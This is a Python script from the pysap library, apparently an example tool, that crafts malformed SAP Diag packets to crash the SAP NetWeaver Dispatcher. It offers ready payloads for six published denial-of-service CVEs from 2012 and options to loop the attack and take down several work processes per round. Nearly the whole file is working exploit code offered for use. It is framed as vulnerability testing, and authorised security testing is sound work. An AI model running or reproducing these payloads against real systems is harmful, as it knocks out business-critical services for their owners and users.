#!/usr/bin/env python2
# ===========
# pysap - Python library for crafting SAP's network protocols packets
#
# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
#
# The library was designed and developed by Martin Gallo from
# the SecureAuth's Innovation Labs team.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# ==============

# Standard imports
import logging
from time import sleep
from argparse import ArgumentParser
from socket import error as SocketError
# External imports
from scapy.config import conf
from scapy.packet import bind_layers
# Custom imports
import pysap
from pysap.SAPNI import SAPNI
from pysap.SAPDiagClient import SAPDiagConnection
from pysap.SAPDiag import SAPDiag, SAPDiagDP, SAPDiagItem


# Bind the SAPDiag layer
bind_layers(SAPNI, SAPDiag,)
bind_layers(SAPNI, SAPDiagDP,)
bind_layers(SAPDiagDP, SAPDiag,)
bind_layers(SAPDiag, SAPDiagItem,)
bind_layers(SAPDiagItem, SAPDiagItem,)


# Set the verbosity to 0
conf.verb = 0


# Command line options parser
def parse_options():

    description = "This example script can be used to tests against Denial of Service vulnerabilities affecting the " \
                  "Dispatcher service. Currently 5 different vulnerabilities can be triggered."

    usage = "%(prog)s [options] -d <remote host>"

    parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog)

    target = parser.add_argument_group("Target")
    target.add_argument("-d", "--remote-host", dest="remote_host", help="Remote host")
    target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3200,
                        help="Remote port [%(default)d]")
    target.add_argument("--route-string", dest="route_string",
                        help="Route string for connecting through a SAP Router")
    target.add_argument("-c", "--cve", dest="cve", type=int, default=5,
                        help="Number of CVE to trigger (1-6) [%(default)d]")

    misc = parser.add_argument_group("Misc options")
    misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output")
    misc.add_argument("-l", "--loop", dest="loop", action="store_true", help="Loop until the user cancel (Ctrl+C)")
    misc.add_argument("-n", "--number", dest="number", type=int, default=1,
                      help="Number of packets to send each round (work processes to get down) [%(default)d]")
    misc.add_argument("-t", "--time", dest="delay", type=int, default=5,
                      help="Time to wait between each round [%(default)d]")
    misc.add_argument("--terminal", dest="terminal", default=None,
                      help="Terminal name")

    options = parser.parse_args()

    if not (options.remote_host or options.route_string):
        parser.error("Remote host or route string is required")
    if options.cve > 6:
        parser.error("Invalid CVE")

    return options


def send_crash(host, port, item, number, verbose, terminal=None, route=None):
    for i in range(number):
        # Create the connection to the SAP Netweaver server
        try:
            if verbose:
                print("[*] Sending crash #%d" % (i + 1))
            connection = SAPDiagConnection(host, port, init=True, terminal=terminal, route=route)
            connection.send_message([item])
        except SocketError:
            if verbose:
                print("[*] Connection error")


# Main function
def main():
    options = parse_options()

    if options.verbose:
        logging.basicConfig(level=logging.DEBUG)

    print("[*] Testing Dispatcher DoS vulnerabilities on host %s:%d" % (options.remote_host,
                                                                        options.remote_port))

    # Crafting the item according to the CVE selected
    if options.cve == 1:
        print("[*] Crash in DiagTraceHex (CVE-2012-2612) using a DataStream (Diag XML Blob) "
              "(requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="DIAG_XMLBLOB", item_length=0xFFFFFFFF, item_value="Crash!")
    elif options.cve == 2:
        print("[*] Crash in DiagTraceHex (CVE-2012-2612) using a variable ST_USER ST_USER_PASSPORT_DATA item "
              "(requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="APPL4", item_id="ST_USER", item_sid=0x18, item_length=0xFFFFFFFF,
                           item_value="Crash!")
    elif options.cve == 3:
        print("[*] Crash in DiagTraceAtoms (CVE-2012-2511) using a DYNT ATOM item "
              "(requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="APPL4", item_id="DYNT", item_sid=0x02, item_value="\x80" * 8)
    elif options.cve == 4:
        print("[*] Crash in DiagTraceStreamI (CVE-2012-2512) using a RCUI RCUI_CONNECT_DATA item "
              "(requires Dialog Developer Trace enabled at level 2 or 3)")
        item = SAPDiagItem(item_type="APPL", item_id="RCUI", item_sid=0x09, item_length=0xFF,
                           item_value="\x12\x1A\x59\x51")
    elif options.cve == 5:
        print("[*] Crash in diaginput (CVE-2012-2513) using a VARINFO MAINAREA_PIXELSIZE item")
        item = SAPDiagItem(item_type="APPL", item_id="VARINFO", item_sid=0x0e, item_value="A" * 10)
    elif options.cve == 6:
        print("[*] Crash in DiagiEventSource (CVE-2012-2514) using a UI_EVENT UI_EVENT_SOURCE item")
        item = SAPDiagItem(item_type="APPL", item_id="UI_EVENT", item_sid=0x01, item_value="A" * 16)

    else:
        print("[-] Invalid CVE specified!")
        return

    if options.loop:
        try:
            while True:
                if options.verbose:
                    print("[*] Started a new round")
                send_crash(options.remote_host, options.remote_port, item,
                           options.number, options.verbose, options.terminal,
                           options.route_string)
                sleep(options.delay)
        except KeyboardInterrupt:
            print("[*] Cancelled by the user")
    else:
        print("[*] Selected a single round")
        send_crash(options.remote_host, options.remote_port, item,
                   options.number, options.verbose, options.terminal,
                   options.route_string)
        print("[*] Crash sent, take a look at the work processes !")


if __name__ == "__main__":
    main()
